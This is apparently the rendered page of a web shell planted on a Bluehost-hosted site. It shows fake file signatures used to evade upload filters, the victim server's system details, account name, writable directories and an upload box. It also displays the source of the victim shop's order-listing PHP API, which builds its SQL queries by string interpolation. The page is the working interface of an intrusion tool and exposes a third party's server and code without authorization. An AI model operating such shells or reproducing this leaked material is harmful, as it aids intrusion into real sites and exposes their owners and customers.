%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/api/my_orders.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");
include("auth.php");

define('BASE_URL', 'https://meatandgo.fr/');

function response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
    exit;
}

$status = trim($_REQUEST['status'] ?? 'active');
$search = trim($_REQUEST['search'] ?? '');

$where = " WHERE o.user_id='$user_id' ";

if (!empty($search))
{
    $search = mysqli_real_escape_string($conn,$search);

    $where .= "
    AND (
        o.unique_order_id LIKE '%$search%'
        OR o.order_id LIKE '%$search%'
    )";
}
else
{
    if ($status == "active")
    {
        $where .= "
        AND o.order_status IN
        (
            'Pending',
            'Processing',
            'Shipped',
            'Paid'
        )";
    }
    elseif ($status == "delivered")
    {
        $where .= "
        AND o.order_status='Delivered'";
    }
    elseif ($status == "cancelled")
    {
        $where .= "
        AND o.order_status='Cancelled'";
    }
    elseif ($status == "refunds")
    {
        $where .= "
        AND o.refund_status IS NOT NULL";
    }
}

$sql = "
SELECT
o.*,
oi.product_id,
oi.quantity,
oi.price,
p.title,
p.image
FROM orders o

LEFT JOIN order_items oi
ON o.id = oi.order_id

LEFT JOIN areawecover p
ON oi.product_id = p.id

$where

GROUP BY o.id

ORDER BY o.id DESC
";

$query = mysqli_query($conn,$sql);

$orders = [];

while($row = mysqli_fetch_assoc($query))
{
    $orders[] = [

        "order_id" =>
            $row['id'],

        "order_number" =>
            $row['unique_order_id'],

        "order_date" =>
            date(
                "d M Y",
                strtotime($row['created_at'])
            ),

        "product_name" =>
            $row['title'],

        "product_image" =>
            !empty($row['image'])
            ? BASE_URL .
              "admin/dataimg/" .
              $row['image']
            : "",

        "quantity" =>
            (int)$row['quantity'],

        "amount" =>
            $currency_symbol .
            number_format(
                $row['total_amount'],
                2
            ),

        "payment_type" =>
            $row['payment_type'],

        "order_status" =>
            $row['order_status'],

        "refund_status" =>
            $row['refund_status'],

        "view_details_api" =>
            BASE_URL .
            "api/order_details.php?order_id=" .
            $row['id'],

        "reorder_api" =>
            BASE_URL .
            "api/reorder.php?order_id=" .
            $row['id']
    ];
}

response(
    true,
    "Orders Loaded Successfully",
    [

        "user_id" =>
            $user_id,

        "status_filter" =>
            $status,

        "total_orders" =>
            count($orders),

        "orders" =>
            $orders
    ]
);

$conn->close();

?>

VaKeR 2022